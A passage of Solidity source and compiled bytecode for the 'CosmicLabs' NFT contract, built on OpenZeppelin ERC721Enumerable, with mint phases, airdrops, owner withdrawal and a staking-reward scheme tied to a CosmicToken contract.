address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: Artifacts/cosmicLabs.sol pragma solidity 0.8.7; /// SPDX-License-Identifier: UNLICENSED contract CosmicLabs is ERC721Enumerable, IERC721Receiver, Ownable { using Strings for uint256; using EnumerableSet for EnumerableSet.UintSet; CosmicToken public cosmictoken; using Counters for Counters.Counter; Counters.Counter private _tokenIdTracker; string public baseURI; string public baseExtension = ".json"; uint public maxGenesisTx = 4; uint public maxDuckTx = 20; uint public maxSupply = 9000; uint public genesisSupply = 1000; uint256 public price = 0.05 ether; bool public GensisSaleOpen = true; bool public GenesisFreeMintOpen = false; bool public DuckMintOpen = false; modifier isSaleOpen { require(GensisSaleOpen == true); _; } modifier isFreeMintOpen { require(GenesisFreeMintOpen == true); _; } modifier isDuckMintOpen { require(DuckMintOpen == true); _; } function switchFromFreeToDuckMint() public onlyOwner { GenesisFreeMintOpen = false; DuckMintOpen = true; } event mint(address to, uint total); event withdraw(uint total); event giveawayNft(address to, uint tokenID); mapping(address => uint256) public balanceOG; mapping(address => uint256) public maxWalletGenesisTX; mapping(address => uint256) public maxWalletDuckTX; mapping(address => EnumerableSet.UintSet) private _deposits; mapping(uint256 => uint256) public _deposit_blocks; mapping(address => bool) public addressStaked; //ID - Days staked; mapping(uint256 => uint256) public IDvsDaysStaked; mapping (address => uint256) public whitelistMintAmount; address internal communityWallet = 0xea25545d846ecF4999C2875bC77dE5B5151Fa633; constructor(string memory _initBaseURI) ERC721("Cosmic Labs", "CLABS") { setBaseURI(_initBaseURI); } function setPrice(uint256 newPrice) external onlyOwner { price = newPrice; } function setYieldToken(address _yield) external onlyOwner { cosmictoken = CosmicToken(_yield); } function totalToken() public view returns (uint256) { return _tokenIdTracker.current(); } modifier communityWalletOnly { require(msg.sender == communityWallet); _; } function communityDuckMint(uint256 amountForAirdrops) public onlyOwner { for(uint256 i; i<amountForAirdrops; i++) { _tokenIdTracker.increment(); _safeMint(communityWallet, totalToken()); } } function GenesisSale(uint8 mintTotal) public payable isSaleOpen { uint256 totalMinted = maxWalletGenesisTX[msg.sender]; totalMinted = totalMinted + mintTotal; require(mintTotal >= 1 && mintTotal <= maxGenesisTx, "Mint Amount Incorrect"); require(totalToken() < genesisSupply, "SOLD OUT!"); require(maxWalletGenesisTX[msg.sender] <= maxGenesisTx, "You've maxed your limit!"); require(msg.value >= price * mintTotal, "Minting a Genesis Costs 0.05 Ether Each!"); require(totalMinted <= maxGenesisTx, "You'll surpass your limit!"); for(uint8 i=0;i<mintTotal;i++) { whitelistMintAmount[msg.sender] += 1; maxWalletGenesisTX[msg.sender] += 1; _tokenIdTracker.increment(); _safeMint(msg.sender, totalToken()); cosmictoken.updateRewardOnMint(msg.sender, totalToken()); emit mint(msg.sender, totalToken()); } if(totalToken() == genesisSupply) { GensisSaleOpen = false; GenesisFreeMintOpen = true; } } function GenesisFreeMint(uint8 mintTotal)public payable isFreeMintOpen { require(whitelistMintAmount[msg.sender] > 0, "You don't have any free mints!"); require(totalToken() < maxSupply, "SOLD OUT!"); require(mintTotal <= whitelistMintAmount[msg.sender], "You are passing your limit!"); for(uint8 i=0;i<mintTotal;i++) { whitelistMintAmount[msg.sender] -= 1; _tokenIdTracker.increment(); _safeMint(msg.sender, totalToken()); cosmictoken.updateRewardOnMint(msg.sender, totalToken()); emit mint(msg.sender, totalToken()); } } function DuckSale(uint8 mintTotal)public payable isDuckMintOpen { uint256 totalMinted = maxWalletDuckTX[msg.sender]; totalMinted = totalMinted + mintTotal; require(mintTotal >= 1 && mintTotal <= maxDuckTx, "Mint Amount Incorrect"); require(msg.value >= price * mintTotal, "Minting a Duck Costs 0.05 Ether Each!"); require(totalToken() < maxSupply, "SOLD OUT!"); require(maxWalletDuckTX[msg.sender] <= maxDuckTx, "You've maxed your limit!"); require(totalMinted <= maxDuckTx, "You'll surpass your limit!"); for(uint8 i=0;i<mintTotal;i++) { maxWalletDuckTX[msg.sender] += 1; _tokenIdTracker.increment(); _safeMint(msg.sender, totalToken()); cosmictoken.updateRewardOnMint(msg.sender, totalToken()); emit mint(msg.sender, totalToken()); } if(totalToken() == maxSupply) { DuckMintOpen = false; } } function airdropNft(address airdropPatricipent, uint16 tokenID) public payable communityWalletOnly { _transfer(msg.sender, airdropPatricipent, tokenID); emit giveawayNft(airdropPatricipent, tokenID); } function airdropMany(address[] memory airdropPatricipents) public payable communityWalletOnly { uint256[] memory tempWalletOfUser = this.walletOfOwner(msg.sender); require(tempWalletOfUser.length >= airdropPatricipents.length, "You dont have enough tokens to airdrop all!"); for(uint256 i=0; i<airdropPatricipents.length; i++) { _transfer(msg.sender, airdropPatricipents[i], tempWalletOfUser[i]); emit giveawayNft(airdropPatricipents[i], tempWalletOfUser[i]); } } function withdrawContractEther(address payable recipient) external onlyOwner { emit withdraw(getBalance()); recipient.transfer(getBalance()); } function getBalance() public view returns(uint) { return address(this).balance; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function getReward(uint256 CalculatedPayout) internal { cosmictoken.getReward(msg.sender, CalculatedPayout); } //Staking Functions function depositStake(uint256[] calldata tokenIds) external { require(isApprovedForAll(msg.sender, address(this)), "You are not Approved!"); for (uint256 i; i < tokenIds.length; i++) { safeTransferFrom( msg.sender, address(this), tokenIds[i], '' ); _deposits[msg.sender].add(tokenIds[i]); addressStaked[msg.sender] = true; _deposit_blocks[tokenIds[i]] = block.timestamp; IDvsDaysStaked[tokenIds[i]] = block.timestamp; } } function withdrawStake(uint256[] calldata tokenIds) external { require(isApprovedForAll(msg.sender, address(this)), "You are not Approved!"); for (uint256 i; i < tokenIds.length; i++) { require( _deposits[msg.sender].contains(tokenIds[i]), 'Token not deposited' ); cosmictoken.getReward(msg.sender,totalRewardsToPay(tokenIds[i])); _deposits[msg.sender].remove(tokenIds[i]); _deposit_blocks[tokenIds[i]] = 0; addressStaked[msg.sender] = false; IDvsDaysStaked[tokenIds[i]] = block.timestamp; this.safeTransferFrom( address(this), msg.sender, tokenIds[i], '' ); } } function viewRewards() external view returns (uint256) { uint256 payout = 0; for(uint256 i = 0; i < _deposits[msg.sender].length(); i++) { payout = payout + totalRewardsToPay(_deposits[msg.sender].at(i)); } return payout; } function claimRewards() external { for(uint256 i = 0; i < _deposits[msg.sender].length(); i++) { cosmictoken.getReward(msg.sender, totalRewardsToPay(_deposits[msg.sender].at(i))); IDvsDaysStaked[_deposits[msg.sender].at(i)] = block.timestamp; } } function totalRewardsToPay(uint256 tokenId) internal view returns(uint256) { uint256 payout = 0; if(tokenId > 0 && tokenId <= genesisSupply) { payout = howManyDaysStaked(tokenId) * 20; } else if (tokenId > genesisSupply && tokenId <= maxSupply) { payout = howManyDaysStaked(tokenId) * 5; } return payout; } function howManyDaysStaked(uint256 tokenId) public view returns(uint256) { require( _deposits[msg.sender].contains(tokenId), 'Token not deposited' ); uint256 returndays; uint256 timeCalc = block.timestamp - IDvsDaysStaked[tokenId]; returndays = timeCalc / 86400; return returndays; } function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function returnStakedTokens() public view returns (uint256[] memory) { return _deposits[msg.sender].values(); } function totalTokensInWallet() public view returns(uint256) { return cosmictoken.balanceOf(msg.sender); } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } }
0x60806040526004361061038c5760003560e01c806365b71d94116101dc578063ae97c03c11610102578063ca48bd40116100a0578063e985e9c51161006f578063e985e9c514610a52578063f2fde38b14610a72578063f4da811914610a92578063f6cbe5cc14610aa557600080fd5b8063ca48bd40146109d6578063d532bdfe146109ec578063d5abeb0114610a0c578063e74d059f14610a2257600080fd5b8063bb9e1f64116100dc578063bb9e1f6414610978578063c4d1957b1461098e578063c6682862146109a1578063c87b56dd146109b657600080fd5b8063ae97c03c14610918578063af7bfef214610938578063b88d4fde1461095857600080fd5b80638da5cb5b1161017a5780639e87a489116101495780639e87a489146108af578063a035b1fe146108c2578063a16d605a146108d8578063a22cb465146108f857600080fd5b80638da5cb5b1461082f57806391b7f5ed1461084d57806395d89b411461086d57806399f3732c1461088257600080fd5b8063715018a6116101b6578063715018a6146107ad5780637b19d281146107c25780638135fbdf146107ef5780638620a4b81461081c57600080fd5b806365b71d94146107635780636c0360eb1461077857806370a082311461078d57600080fd5b80633b420046116102c15780634f6ccce71161025f578063580d32451161022e578063580d3245146106e15780635de7e0071461070e578063626be5671461072e5780636352211e1461074357600080fd5b80634f6ccce7146106545780634feafc0914610674578063519031fb1461069457806355f804b3146106c157600080fd5b8063438b63001161029b578063438b6300146105e25780634bbf179b1461060f5780634c68e4e9146106255780634e5cb2ee1461063f57600080fd5b80633b4200461461059a5780633dfa83b3146105ad57806342842e0e146105c257600080fd5b806318160ddd1161032e57806323ffce851161030857806323ffce85146105185780632f745c5914610538578063372500ab1461055857806338712d8d1461056d57600080fd5b806318160ddd146104c35780631c2865a0146104d857806323b872dd146104f857600080fd5b8063095ea7b31161036a578063095ea7b31461042057806311ce6be11461044257806312065fe014610461578063150b7a021461047e57600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac366004613843565b610aba565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610ae5565b6040516103bd9190613a8c565b3480156103f457600080fd5b506104086104033660046138c6565b610b77565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b366004613670565b610c11565b005b34801561044e57600080fd5b506014546103b190610100900460ff1681565b34801561046d57600080fd5b50475b6040519081526020016103bd565b34801561048a57600080fd5b506104aa6104993660046134e9565b630a85bd0160e11b95945050505050565b6040516001600160e01b031990911681526020016103bd565b3480156104cf57600080fd5b50600854610470565b3480156104e457600080fd5b506104706104f33660046138c6565b610d27565b34801561050457600080fd5b506104406105133660046134a8565b610db4565b34801561052457600080fd5b50610440610533366004613452565b610de5565b34801561054457600080fd5b50610470610553366004613670565b610e31565b34801561056457600080fd5b50610440610ec7565b34801561057957600080fd5b50610470610588366004613452565b60156020526000908152604090205481565b6104406105a83660046138f8565b610fc3565b3480156105b957600080fd5b506104706112e6565b3480156105ce57600080fd5b506104406105dd3660046134a8565b61134b565b3480156105ee57600080fd5b506106026105fd366004613452565b611366565b6040516103bd9190613a48565b34801561061b57600080fd5b5061047060125481565b34801561063157600080fd5b506014546103b19060ff1681565b34801561064b57600080fd5b50610440611408565b34801561066057600080fd5b5061047061066f3660046138c6565b611445565b34801561068057600080fd5b50600b54610408906001600160a01b031681565b3480156106a057600080fd5b506104706106af3660046138c6565b601b6020526000908152604090205481565b3480156106cd57600080fd5b506104406106dc36600461387d565b6114d8565b3480156106ed57600080fd5b506104706106fc366004613452565b60176020526000908152604090205481565b34801561071a57600080fd5b50610440610729366004613742565b611515565b34801561073a57600080fd5b50610470611662565b34801561074f57600080fd5b5061040861075e3660046138c6565b611672565b34801561076f57600080fd5b506104706116e9565b34801561078457600080fd5b506103db611765565b34801561079957600080fd5b506104706107a8366004613452565b6117f3565b3480156107b957600080fd5b5061044061187a565b3480156107ce57600080fd5b506104706107dd366004613452565b60166020526000908152604090205481565b3480156107fb57600080fd5b5061047061080a366004613452565b601c6020526000908152604090205481565b61044061082a36600461363b565b6118b0565b34801561083b57600080fd5b50600a546001600160a01b0316610408565b34801561085957600080fd5b506104406108683660046138c6565b61191f565b34801561087957600080fd5b506103db61194e565b34801561088e57600080fd5b5061047061089d3660046138c6565b60196020526000908152604090205481565b6104406108bd3660046138f8565b61195d565b3480156108ce57600080fd5b5061047060135481565b3480156108e457600080fd5b506104406108f3366004613452565b611b7e565b34801561090457600080fd5b50610440610913366004613608565b611c10565b34801561092457600080fd5b506014546103b19062010000900460ff1681565b34801561094457600080fd5b506104406109533660046138c6565b611c1b565b34801561096457600080fd5b50610440610973366004613588565b611c88565b34801561098457600080fd5b50610470600f5481565b61044061099c36600461369c565b611cc0565b3480156109ad57600080fd5b506103db611e8d565b3480156109c257600080fd5b506103db6109d13660046138c6565b611e9a565b3480156109e257600080fd5b5061047060105481565b3480156109f857600080fd5b50610440610a07366004613742565b611f78565b348015610a1857600080fd5b5061047060115481565b348015610a2e57600080fd5b506103b1610a3d366004613452565b601a6020526000908152604090205460ff1681565b348015610a5e57600080fd5b506103b1610a6d36600461346f565b61223a565b348015610a7e57600080fd5b50610440610a8d366004613452565b612268565b610440610aa03660046138f8565b612300565b348015610ab157600080fd5b50610602612642565b60006001600160e01b0319821663780e9d6360e01b1480610adf5750610adf8261265d565b92915050565b606060008054610af490613c7d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2090613c7d565b8015610b6d5780601f10610b4257610100808354040283529160200191610b6d565b820191906000526020600020905b815481529060010190602001808311610b5057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610bf55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610c1c82611672565b9050806001600160a01b0316836001600160a01b03161415610c8a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610bec565b336001600160a01b0382161480610ca65750610ca6813361223a565b610d185760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610bec565b610d2283836126ad565b505050565b336000908152601860205260408120610d40908361271b565b610d825760405162461bcd60e51b8152602060048201526013602482015272151bdad95b881b9bdd0819195c1bdcda5d1959606a1b6044820152606401610bec565b6000828152601b60205260408120548190610d9d9042613c3a565b9050610dac6201518082613c07565b949350505050565b610dbe3382612733565b610dda5760405162461bcd60e51b8152600401610bec90613b49565b610d22838383612802565b600a546001600160a01b03163314610e0f5760405162461bcd60e51b8152600401610bec90613b14565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610e3c836117f3565b8210610e9e5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610bec565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b60005b336000908152601860205260409020610ee2906129ad565b811015610fc057600b543360008181526018602052604090206001600160a01b039092169163f474c8ce9190610f2190610f1c90866129b7565b6129c3565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610f6757600080fd5b505af1158015610f7b573d6000803e3d6000fd5b5050336000908152601860205260408120429350601b9250610f9d90856129b7565b815260208101919091526040016000205580610fb881613cb2565b915050610eca565b50565b60145462010000900460ff161515600114610fdd57600080fd5b33600090815260176020526040902054610ffa60ff831682613bef565b905060018260ff161015801561101557506010548260ff1611155b6110595760405162461bcd60e51b8152602060048201526015602482015274135a5b9d08105b5bdd5b9d08125b98dbdc9c9958dd605a1b6044820152606401610bec565b8160ff1660135461106a9190613c1b565b3410156110c75760405162461bcd60e51b815260206004820152602560248201527f4d696e74696e672061204475636b20436f73747320302e303520457468657220604482015264456163682160d81b6064820152608401610bec565b6011546110d2611662565b106110ef5760405162461bcd60e51b8152600401610bec90613af1565b60105433600090815260176020526040902054111561114b5760405162461bcd60e51b8152602060048201526018602482015277596f75277665206d6178656420796f7572206c696d69742160401b6044820152606401610bec565b60105481111561119d5760405162461bcd60e51b815260206004820152601a60248201527f596f75276c6c207375727061737320796f7572206c696d6974210000000000006044820152606401610bec565b60005b8260ff168160ff1610156112c3573360009081526017602052604081208054600192906111ce908490613bef565b9091555050600c805460010190556111ed336111e8611662565b612a23565b600b546001600160a01b031663cc240c0133611207611662565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b15801561124d57600080fd5b505af1158015611261573d6000803e3d6000fd5b505050507f40c10f19c047ae7dfa66d6312b683d2ea3dfbcb4159e96b967c5f4b0a86f28423361128f611662565b604080516001600160a01b03909316835260208301919091520160405180910390a1806112bb81613ccd565b9150506111a0565b506011546112cf611662565b14156112e2576014805462ff0000191690555b5050565b600080805b336000908152601860205260409020611303906129ad565b8110156113455733600090815260186020526040902061132790610f1c90836129b7565b6113319083613bef565b91508061133d81613cb2565b9150506112eb565b50919050565b610d2283838360405180602001604052806000815250611c88565b60606000611373836117f3565b905060008167ffffffffffffffff81111561139057611390613d59565b6040519080825280602002602001820160405280156113b9578160200160208202803683370190505b50905060005b82811015611400576113d18582610e31565b8282815181106113e3576113e3613d43565b6020908102919091010152806113f881613cb2565b9150506113bf565b509392505050565b600a546001600160a01b031633146114325760405162461bcd60e51b8152600401610bec90613b14565b6014805462ffff00191662010000179055565b600061145060085490565b82106114b35760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610bec565b600882815481106114c6576114c6613d43565b90600052602060002001549050919050565b600a546001600160a01b031633146115025760405162461bcd60e51b8152600401610bec90613b14565b80516112e290600d906020840190613361565b61151f333061223a565b6115635760405162461bcd60e51b8152602060048201526015602482015274596f7520617265206e6f7420417070726f7665642160581b6044820152606401610bec565b60005b81811015610d22576115a1333085858581811061158557611585613d43565b9050602002013560405180602001604052806000815250611c88565b6115d48383838181106115b6576115b6613d43565b33600090815260186020908152604090912093910201359050612a3d565b50336000908152601a60205260408120805460ff19166001179055429060199085858581811061160657611606613d43565b9050602002013581526020019081526020016000208190555042601b600085858581811061163657611636613d43565b90506020020135815260200190815260200160002081905550808061165a90613cb2565b915050611566565b600061166d600c5490565b905090565b6000818152600260205260408120546001600160a01b031680610adf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610bec565b600b546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561172d57600080fd5b505afa158015611741573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166d91906138df565b600d805461177290613c7d565b80601f016020809104026020016040519081016040528092919081815260200182805461179e90613c7d565b80156117eb5780601f106117c0576101008083540402835291602001916117eb565b820191906000526020600020905b8154815290600101906020018083116117ce57829003601f168201915b505050505081565b60006001600160a01b03821661185e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610bec565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146118a45760405162461bcd60e51b8152600401610bec90613b14565b6118ae6000612a49565b565b601d546001600160a01b031633146118c757600080fd5b6118d633838361ffff16612802565b604080516001600160a01b038416815261ffff831660208201527fe2ae2d4299019f247f9b47047a994e121c067a8a2099ad43a45a99a0e4906d87910160405180910390a15050565b600a546001600160a01b031633146119495760405162461bcd60e51b8152600401610bec90613b14565b601355565b606060018054610af490613c7d565b60145460ff61010090910416151560011461197757600080fd5b336000908152601c60205260409020546119d35760405162461bcd60e51b815260206004820152601e60248201527f596f7520646f6e2774206861766520616e792066726565206d696e74732100006044820152606401610bec565b6011546119de611662565b106119fb5760405162461bcd60e51b8152600401610bec90613af1565b336000908152601c602052604090205460ff82161115611a5d5760405162461bcd60e51b815260206004820152601b60248201527f596f75206172652070617373696e6720796f7572206c696d69742100000000006044820152606401610bec565b60005b8160ff168160ff1610156112e257336000908152601c60205260408120805460019290611a8e908490613c3a565b9091555050600c80546001019055611aa8336111e8611662565b600b546001600160a01b031663cc240c0133611ac2611662565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015611b0857600080fd5b505af1158015611b1c573d6000803e3d6000fd5b505050507f40c10f19c047ae7dfa66d6312b683d2ea3dfbcb4159e96b967c5f4b0a86f284233611b4a611662565b604080516001600160a01b03909316835260208301919091520160405180910390a180611b7681613ccd565b915050611a60565b600a546001600160a01b03163314611ba85760405162461bcd60e51b8152600401610bec90613b14565b7f2e1a7d4d13322e7b96f9a57413e1525c250fb7a9021cf91d1540d5b69f16a49f4760405190815260200160405180910390a16040516001600160a01b038216904780156108fc02916000818181858888f193505050501580156112e2573d6000803e3d6000fd5b6112e2338383612a9b565b600a546001600160a01b03163314611c455760405162461bcd60e51b8152600401610bec90613b14565b60005b818110156112e257611c5e600c80546001019055565b601d54611c76906001600160a01b03166111e8611662565b80611c8081613cb2565b915050611c48565b611c923383612733565b611cae5760405162461bcd60e51b8152600401610bec90613b49565b611cba84848484612b6a565b50505050565b601d546001600160a01b03163314611cd757600080fd5b60405162438b6360e81b8152336004820152600090309063438b63009060240160006040518083038186803b158015611d0f57600080fd5b505afa158015611d23573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611d4b91908101906137b7565b9050815181511015611db35760405162461bcd60e51b815260206004820152602b60248201527f596f7520646f6e74206861766520656e6f75676820746f6b656e7320746f206160448201526a697264726f7020616c6c2160a81b6064820152608401610bec565b60005b8251811015610d2257611dfc33848381518110611dd557611dd5613d43565b6020026020010151848481518110611def57611def613d43565b6020026020010151612802565b7fe2ae2d4299019f247f9b47047a994e121c067a8a2099ad43a45a99a0e4906d87838281518110611e2f57611e2f613d43565b6020026020010151838381518110611e4957611e49613d43565b6020026020010151604051611e739291906001600160a01b03929092168252602082015260400190565b60405180910390a180611e8581613cb2565b915050611db6565b600e805461177290613c7d565b6000818152600260205260409020546060906001600160a01b0316611f195760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a